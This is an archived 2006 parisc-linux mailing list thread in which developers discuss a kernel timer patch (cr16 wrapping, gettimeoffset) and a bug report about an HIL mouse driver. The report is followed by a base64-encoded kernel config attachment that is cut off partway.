Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 30 Aug 2006 18:38:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B23907D74F;
	Wed, 30 Aug 2006 10:38:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10717-04; Wed, 30 Aug 2006 10:38:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8B0D7D753;
	Wed, 30 Aug 2006 10:38:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B7D07D749
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 10:38:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10717-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 10:38:41 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id B16F67D748
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 10:38:40 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by guri.is.scarlet.be  with ESMTP id k7UGcJC23306; 
	Wed, 30 Aug 2006 18:38:19 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LInGcNpUTXs9XKyRbmQ5O0FKRzdyMkOu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23928

> A review of 'arch/parisc/kernel/time.c' and in particular
> 'timer_interrupt' and 'gettimeoffset'  show that this code has a
> couple of design flaws.
> 
> 1. cr16 is treated as signed.
> 2. No attempt is made to handle cr16 wrapping.
> 3. jiffies vs. wall_jiffies adjustment is incorrect.
> 
> I have rewritten 'timer_interrupt'.
> 
> A. cr16 is treated as an unsigned long.
> B. The following 3 scenarios exist.
> 
> 1. The timer interrupt fires, and 'now' comes after 'next_tick'
mmm (just a thought) what's up if now comes after next_tick but cr16 has
already wrap 1, 2, ... times?

> 2. The timer interrupt fires, and 'now' has wrapped and is before 'next=
_tick'
> 3. The timer interrupt fires, and 'now' is *just* before 'next_tick'
> 
> In theory 99% of the time we should be in scenario 1. On occasion we
> may miss a timer interrupt, end up close to wrapping, and we get
> scenario 2. Scenario 3 is just plain wrong and for now I will BUG() if
> the timer fires before we intended.
> 
> I have adjusted 'gettimeoffset' in the following fashion:
> 
> A. cr16 is treated as an unsigned long.
> B. Never ever ever return a negative adjustment.
> C. (jiffies - wall_jiffies) adjustment is always positive and added to =
usec.
> D. The 3 timer scenarios (same as above), exist.
> 
> I assert that 'gettimeoffset' should never return a negative value. It
> represents the postive adjustment accounting for the fact that we are
> *part* of the way through a tick.
> 
> The patch is attached. Please review. I booted this on my a500 without
> any problems. I don't really know how to look for problems so I ran
> the glibc testsuite and didn't get any extra regressions.
> 
> The real test will be to run this on a 715/50 and look for Guy's
> reported problems. Guy, would you mind patching your kernel with this
> patch and testing again?
> 
Make sense to me but patch doesn't works for me on b2k 32bit kernel ;-(
it was hanging (no error msg on lcd display) just after "Memory: 262144k
available" then I have to force reboot power off/on cycle.

Thanks,
    Joel

 
> Cheers,
> Carlos.
> 
> =0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devenez =
aujourd'hui Scarlet One grace a un client existant de Scarlet, vous recev=
ez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur http=
://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Wed, 30 Aug 2006 10:52:11 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20060830165211.GA3999@colo.lackof.org>
References: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624165 20786 80.91.229.3 (22 Nov 2014 02:42:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:45 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Aug 2006 16:52:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 30 Aug 2006 18:52:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DA077D75E;
	Wed, 30 Aug 2006 10:52:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10717-10; Wed, 30 Aug 2006 10:52:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79EBD7D75F;
	Wed, 30 Aug 2006 10:52:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 356197D75B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 10:52:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10717-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 10:52:13 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 0662A7D74F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 10:52:13 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 71AAA360047;
	Wed, 30 Aug 2006 10:52:12 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04795-04; Wed, 30 Aug 2006 10:52:11 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 23E2D360024; Wed, 30 Aug 2006 10:52:11 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZvfHfIwvPjltCOrBOTU27UwzMTE2Nckg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23929

On Wed, Aug 30, 2006 at 06:38:19PM +0200, Joel Soete wrote:
> > 1. The timer interrupt fires, and 'now' comes after 'next_tick'
> mmm (just a thought) what's up if now comes after next_tick but cr16 has
> already wrap 1, 2, ... times?

Every ~4 seconds a 32-bit cycle counter running 1Ghz will wrap.
If it wraps twice between any two interrupts, I think we are already screwed.
There is no way to detect that with a 32-bit kernel.  My hope is the same
bug is visible on 64-bit kernel where we have 30 billion or so seconds
before the counter will wrap.

> > reported problems. Guy, would you mind patching your kernel with this
> > patch and testing again?
>
> Make sense to me but patch doesn't works for me on b2k 32bit kernel ;-(
> it was hanging (no error msg on lcd display) just after "Memory: 262144k
> available" then I have to force reboot power off/on cycle.

I'll give it a go as well.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Walter <richard@richardwalter.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL mouse does not work with built-in driver
Date: Wed, 30 Aug 2006 21:10:19 +0200
Lines: 355
Approved: news@gmane.org
Message-ID: <200608302110.19249.richard@richardwalter.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_bKe9EU/4O6u//zs"
X-Trace: ger.gmane.org 1416624165 20788 80.91.229.3 (22 Nov 2014 02:42:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Aug 2006 19:10:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 30 Aug 2006 21:10:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06A3F7D748;
	Wed, 30 Aug 2006 13:10:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12015-10; Wed, 30 Aug 2006 13:10:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0258A7D753;
	Wed, 30 Aug 2006 13:10:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BAD127D740
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 13:10:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12015-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 13:10:12 -0600 (MDT)
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de
	[212.227.126.177])
	by free.linux.hp.com (Postfix) with ESMTP id DB94E7D72E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 13:10:11 -0600 (MDT)
Original-Received: from [84.163.142.230] (helo=[10.0.0.3])
	by mrelayeu.kundenserver.de (node=mrelayeu4) with ESMTP (Nemesis),
	id 0ML21M-1GIVRw1eoC-0002qm; Wed, 30 Aug 2006 21:10:10 +0200
User-Agent: KMail/1.9.1
X-Provags-ID: kundenserver.de abuse@kundenserver.de
	login:f14d3e607e06fdf30863e8ba02b8ef71
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8Y+XEPw8bXBtTrqHPTQ2m9IqLyUmZQhb
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23930

--Boundary-00=_bKe9EU/4O6u//zs
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hello,

my HIL mouse refuses to work if the hil_ptr driver is compiled statically into 
the kernel. It does however work if the driver is compiled as a module.

The kernel is built from this archive:
http://cvs.parisc-linux.org/download/linux-2.6/linux-2.6.17-pa6.tar.bz2
using the configuration from the attachment config_mouse_built_in.gz. dmesg 
reports what is stored in dmesg_mouse_built_in.gz, and the mouse does not 
work.
If I compile the kernel with the mouse driver as a module, like in 
config_mouse_module.gz, and let my initscripts load that module, then dmesg 
says dmesg_mouse_module.gz and the mous works without any problem.

The machine in question is a 735/125 running Gentoo Linux and uses gcc 4.1.1, 
binutils 2.16.1-r3.

If I have missed any essential information, please ask about it.

Richard

--Boundary-00=_bKe9EU/4O6u//zs
Content-Type: application/x-gzip;
  name="config_mouse_built_in.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="config_mouse_built_in.gz"

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
